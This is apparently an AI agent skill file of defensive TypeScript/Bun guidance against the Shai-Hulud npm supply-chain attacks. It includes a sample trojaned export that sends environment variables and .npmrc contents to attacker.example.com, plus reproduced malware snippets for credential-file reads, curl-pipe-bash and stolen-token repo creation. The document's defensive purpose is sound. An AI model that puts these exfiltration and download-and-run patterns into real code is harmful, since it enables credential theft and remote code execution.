| name | supply-chain-secure-code |
| description | Use when writing TypeScript code that interacts with dependencies, handles credentials, executes child processes, or manages configuration. Provides Shai-Hulud supply chain attack countermeasures at the code level including safe dependency usage, credential handling, subprocess hardening, and runtime integrity patterns. |
| allowed-tools | Read, Write, Edit, Bash, Grep, Glob |
| user-invocable | true |
Supply Chain Secure Code
This skill provides TypeScript coding patterns that defend against supply chain attacks at the application code level. While supply-chain-secure-install and supply-chain-secure-publish handle package management, this skill addresses what happens inside your code when dependencies are loaded and executed.
When to Apply
Apply these guidelines when:
- Importing and using third-party packages
- Handling credentials, tokens, or API keys in code
- Spawning child processes or executing shell commands
- Loading configuration from files or environment variables
- Writing code that reads/writes
.npmrc, .env, or credential files
- Implementing runtime checks for dependency integrity
- Reviewing code for supply chain attack vectors
Threat Model: Code-Level Attack Vectors
In the Shai-Hulud attacks, malicious code inside compromised packages performed:
| Code-Level Attack | Description | Defense |
|---|
| Credential file reading | Read .npmrc, .env, cloud credential files | Restrict file access, use secrets managers |
| Environment variable exfiltration | Dump process.env and send to attacker | Minimize env vars, validate at boundaries |
| HTTP exfiltration | Send stolen data via HTTP to attacker C&C | Monitor outbound connections, CSP |
| Child process spawning | Execute curl, PowerShell, or download binaries | Validate all subprocess invocations |
| GitHub API abuse | Use stolen tokens to create repos, register runners | Short-lived tokens, minimal scopes |
| DNS manipulation | Modify /etc/resolv.conf to redirect traffic | Avoid running as root, monitor DNS config |
| Firewall manipulation | Delete iptables rules to enable C&C communication | Run in restricted containers |
| Lifecycle script exploitation | preinstall/postinstall in package.json runs arbitrary code | Bun blocks by default; never add packages to trustedDependencies without review |
NOTE: Bun blocks lifecycle scripts by default. The code patterns below address threats that execute AFTER an attacker gains code execution (e.g., via a trusted dependency that was compromised, or code running in a CI/CD environment where scripts may be enabled).
Credential Handling
Never Hardcode Credentials
const token = "npm_xxxxxxxxxxxxxxxxxxxx";
const apiKey = `sk-${config.suffix}`;
const token = process.env.NPM_TOKEN;
if (!token) {
throw new Error("NPM_TOKEN environment variable is required");
}
Validate Credential Sources
import { z } from "zod";
const envSchema = z.object({
DATABASE_URL: z.string().url(),
API_KEY: z.string().min(20),
});
const env = envSchema.parse(process.env);
Credential Isolation
Bun.spawn(["some-tool"], {
env: process.env,
});
Bun.spawn(["some-tool"], {
env: {
PATH: process.env.PATH ?? "",
HOME: process.env.HOME ?? "",
},
});
Credential Cleanup
function withCredential<T>(
envVar: string,
fn: (cred: string) => T
): T {
const cred = process.env[envVar];
if (!cred) {
throw new Error(`${envVar} not set`);
}
try {
return fn(cred);
} finally {
}
}
Safe Dependency Usage
Import Validation
import { z } from "zod";
import { ok, err } from "neverthrow";
const module = await import(`./${userInput}`);
const module = await import("https://example.com/module.js");
Dependency Surface Minimization
import _ from "lodash";
const result = _.debounce(fn, 300);
import debounce from "lodash.debounce";
const result = debounce(fn, 300);
Avoid eval and Dynamic Code Execution
eval(data);
new Function(data)();
import(variable);
Subprocess Security
Validated Subprocess Execution
Bun.spawn(["sh", "-c", `echo ${userInput}`]);
Bun.spawn(["sh", "-c", command]);
Bun.spawn(["echo", userInput]);
const result = await Bun.$`echo ${userInput}`;
Subprocess Environment Isolation
const safeEnv: Record<string, string> = {
PATH: process.env.PATH ?? "/usr/bin:/bin",
HOME: process.env.HOME ?? "/tmp",
LANG: process.env.LANG ?? "en_US.UTF-8",
};
const proc = Bun.spawn(["some-tool", "--flag"], {
env: safeEnv,
cwd: "/sandboxed/path",
});
Never Download and Execute
const response = await fetch("https://example.com/script.js");
const code = await response.text();
eval(code);
await Bun.$`curl -sSL https://example.com/install.sh | bash`;
import { createHash } from "crypto";
async function verifiedDownload(
url: string,
expectedSha256: string
): Promise<ArrayBuffer> {
const response = await fetch(url);
const data = await response.arrayBuffer();
const hash = createHash("sha256")
.update(Buffer.from(data))
.digest("hex");
if (hash !== expectedSha256) {
throw new Error(
`Integrity check failed: expected ${expectedSha256}, got ${hash}`
);
}
return data;
}
File Access Security
Credential File Protection
import { resolve, normalize } from "path";
function safeResolvePath(
basePath: string,
userPath: string
): string {
const resolved = resolve(basePath, userPath);
const normalized = normalize(resolved);
if (!normalized.startsWith(normalize(basePath))) {
throw new Error("Path traversal detected");
}
return normalized;
}
File Content Validation
import { z } from "zod";
const configSchema = z.object({
apiEndpoint: z.string().url(),
timeout: z.number().int().positive().max(30000),
});
async function loadConfig(path: string): Promise<z.infer<typeof configSchema>> {
const file = Bun.file(path);
const raw = await file.json();
return configSchema.parse(raw);
}
Network Security
Outbound Request Validation
const ALLOWED_HOSTS = new Set([
"api.example.com",
"registry.npmjs.org",
]);
function validateUrl(url: string): URL {
const parsed = new URL(url);
if (!ALLOWED_HOSTS.has(parsed.hostname)) {
throw new Error(`Blocked request to unauthorized host: ${parsed.hostname}`);
}
if (
parsed.hostname === "169.254.169.254" ||
parsed.hostname === "metadata.google.internal" ||
parsed.hostname.endsWith(".internal")
) {
throw new Error("Blocked request to cloud metadata endpoint");
}
return parsed;
}
HTTP Response Validation
import { z } from "zod";
const apiResponseSchema = z.object({
data: z.array(z.object({
id: z.string(),
name: z.string(),
})),
meta: z.object({
total: z.number(),
}),
});
async function fetchApi(url: string) {
const response = await fetch(url);
if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}
const json = await response.json();
return apiResponseSchema.parse(json);
}
Runtime Integrity Patterns
Package Integrity Verification
import { readFileSync } from "fs";
import { createHash } from "crypto";
function verifyDependencyIntegrity(
checks: Array<{ path: string; expectedHash: string }>
): void {
for (const { path, expectedHash } of checks) {
const content = readFileSync(path);
const actualHash = createHash("sha256")
.update(content)
.digest("hex");
if (actualHash !== expectedHash) {
throw new Error(
`Integrity check failed for ${path}: ` +
`expected ${expectedHash}, got ${actualHash}`
);
}
}
}
Startup Health Check
function startupSecurityCheck(): void {
const suspiciousVars = [
"POSTINSTALL_BG",
];
for (const varName of suspiciousVars) {
if (process.env[varName] !== undefined) {
console.error(
`WARNING: Suspicious environment variable detected: ${varName}`
);
}
}
const bunVersion = Bun.version;
console.log(`Runtime: Bun ${bunVersion}`);
}
Code Review Checklist
When reviewing TypeScript code for supply chain security:
High Priority
Medium Priority
Low Priority (Defense in Depth)
Anti-Patterns Detected in Shai-Hulud
These exact code patterns were used by the Shai-Hulud malware. Flag them during review:
const npmrc = readFileSync(join(homedir(), ".npmrc"), "utf-8");
const token = npmrc.match(/_authToken=(.+)/)?.[1];
const response = await fetch(
`https://registry.npmjs.org/-/v1/search?text=maintainer:${username}&size=100`
);
const child = Bun.spawn(["bun", "payload.js"], { detached: true });
child.unref();
await $`curl -fsSL https://bun.sh/install | bash`;
const octokit = new Octokit({ auth: stolenToken });
await octokit.repos.createForAuthenticatedUser({
name: randomId,
description: "Shai-Hulud: The Second Coming.",
});
const gcpCreds = readFileSync(
join(homedir(), ".config/gcloud/application_default_credentials.json")
);
Defending Against Compromised Imports (Non-Lifecycle Attacks)
This is the biggest remaining gap after lifecycle script blocking. A future attacker could inject malicious code into a package's main source code instead of lifecycle scripts. This code would execute when your application imports the package -- Bun's default script blocking does NOT protect against this.
How This Attack Works
export function doSomething() {
const result = actualImplementation();
try {
globalThis.fetch?.("https://attacker.example.com/collect", {
method: "POST",
body: JSON.stringify({
env: process.env,
cwd: process.cwd(),
npmrc: require("fs").readFileSync(
require("path").join(require("os").homedir(), ".npmrc"), "utf-8"
).catch(() => ""),
}),
}).catch(() => {});
} catch {}
return result;
}
Defense Layers
Layer 1: minimumReleaseAge (Preventive)
The cooldown period remains effective -- it delays when you receive any new version, giving the community time to detect compromised code.
Layer 2: Lockfile Review (Detective)
Review bun.lock (text) changes in every pull request:
git diff origin/main -- bun.lock
Look for:
- Version bumps you did not request
- New transitive dependencies
- Changed integrity hashes
Layer 3: Network Egress Control (Containment)
Restrict what network connections your application can make:
const ALLOWED_EGRESS_HOSTS = new Set([
"api.yourservice.com",
"registry.npmjs.org",
"github.com",
]);
if (process.env.NODE_ENV === "development") {
const originalFetch = globalThis.fetch;
globalThis.fetch = async (input, init) => {
const url = new URL(typeof input === "string" ? input : input.url);
if (!ALLOWED_EGRESS_HOSTS.has(url.hostname)) {
console.warn(`[SECURITY] Blocked egress to: ${url.hostname}`);
throw new Error(`Egress blocked: ${url.hostname}`);
}
return originalFetch(input, init);
};
}
For production, use OS/container-level network policies:
docker run --network=restricted-net your-app
Layer 4: Private Registry / Proxy (Preventive)
Route all package installs through a private registry that provides additional scanning:
[install]
registry = "https://your-private-registry.example.com/"
Options:
- Verdaccio: Self-hosted, free, npm-compatible proxy
- Artifactory / Nexus: Enterprise, with vulnerability scanning
- Socket.dev proxy: Behavioral analysis of packages
Layer 5: SBOM and Dependency Monitoring (Detective)
Generate Software Bill of Materials for continuous monitoring:
bunx @cyclonedx/cyclonedx-npm --output-file sbom.json
bunx @spdx/sbom-generator --output sbom.spdx.json
Integrate with monitoring:
- Dependabot / Renovate for automated update PRs
- GitHub Dependency Graph for visibility
- Socket.dev for behavioral analysis
- Snyk for vulnerability scanning
GitHub Token Hardening
Shai-Hulud 2.0 specifically abuses GitHub PATs to create C&C infrastructure, register self-hosted runners, and inject malicious workflows. Minimize the blast radius of stolen tokens.
Fine-Grained PATs (Mandatory)
NEVER use classic PATs. Always use fine-grained personal access tokens:
| Setting | Recommendation |
|---|
| Resource owner | Specific organization, not personal |
| Repository access | Only selected repositories, NEVER "All repositories" |
| Expiration | 30 days maximum |
| Permissions | Minimum required (see below) |
Minimal Permission Sets
# For CI/CD that only reads code:
Contents: read
Metadata: read
# For CI/CD that creates releases:
Contents: write
Metadata: read
# NEVER grant these unless absolutely needed:
# - Administration (Shai-Hulud uses this to register runners)
# - Actions: write (Shai-Hulud uses this to inject workflows)
# - Workflows (Shai-Hulud uses this to create discussion.yaml)
GitHub Actions Token Restrictions
permissions:
contents: read
permissions: write-all
jobs:
deploy:
permissions:
contents: read
deployments: write
Self-Hosted Runner Security
Shai-Hulud registers compromised machines as self-hosted runners named "SHA1HULUD":
- Monitor runner registrations - alert on new self-hosted runners
- Use ephemeral runners - runners that are destroyed after each job
- Restrict runner groups - limit which workflows can use which runners
- Never run self-hosted runners on developer machines - use dedicated VMs/containers
gh api repos/{owner}/{repo}/actions/runners --jq '.runners[] | .name'
Post-Compromise Detection
Use this checklist if you suspect your environment may have been compromised by Shai-Hulud or similar attacks.
Immediate Checks
gh repo list --json name,description --jq '.[] | select(.description | test("Shai.Hulud"; "i"))'
gh api repos/{owner}/{repo}/actions/runners --jq '.runners[] | {name, status, os}'
find .github/workflows -name "*.yml" -newer package.json
gh run list --limit 20 --json name,status,createdAt
bunx npm token list
bunx npm info <your-package> time
File System Checks
find ~ -name "setup_bun.js" -o -name "bun_environment.js" 2>/dev/null
which -a bun
ls ~/.dev-env/ 2>/dev/null
cat /etc/resolv.conf
sudo iptables -L OUTPUT 2>/dev/null
sudo iptables -L DOCKER-USER 2>/dev/null
Process Checks
ps aux | grep -E "(bun_environment|setup_bun|SHA1HULUD)"
ss -tunp | grep -v -E "(127.0.0.1|::1|your-known-hosts)"
env | grep POSTINSTALL_BG
Cloud Credential Checks
aws sts get-caller-identity
aws secretsmanager list-secrets --region us-east-1
gcloud auth list
gcloud secrets list 2>/dev/null
az account show
az keyvault list 2>/dev/null
If Compromise Is Confirmed
-
Immediately rotate ALL credentials:
- npm tokens
- GitHub PATs and SSH keys
- AWS/GCP/Azure credentials
- Any secrets stored in CI/CD
- Database passwords
-
Unpublish compromised package versions
-
Remove unauthorized GitHub runners and workflows
-
Review and revoke GitHub App authorizations
-
Check git history for unauthorized commits
-
Notify affected downstream users
-
File incident report with npm security (security@npmjs.com)
References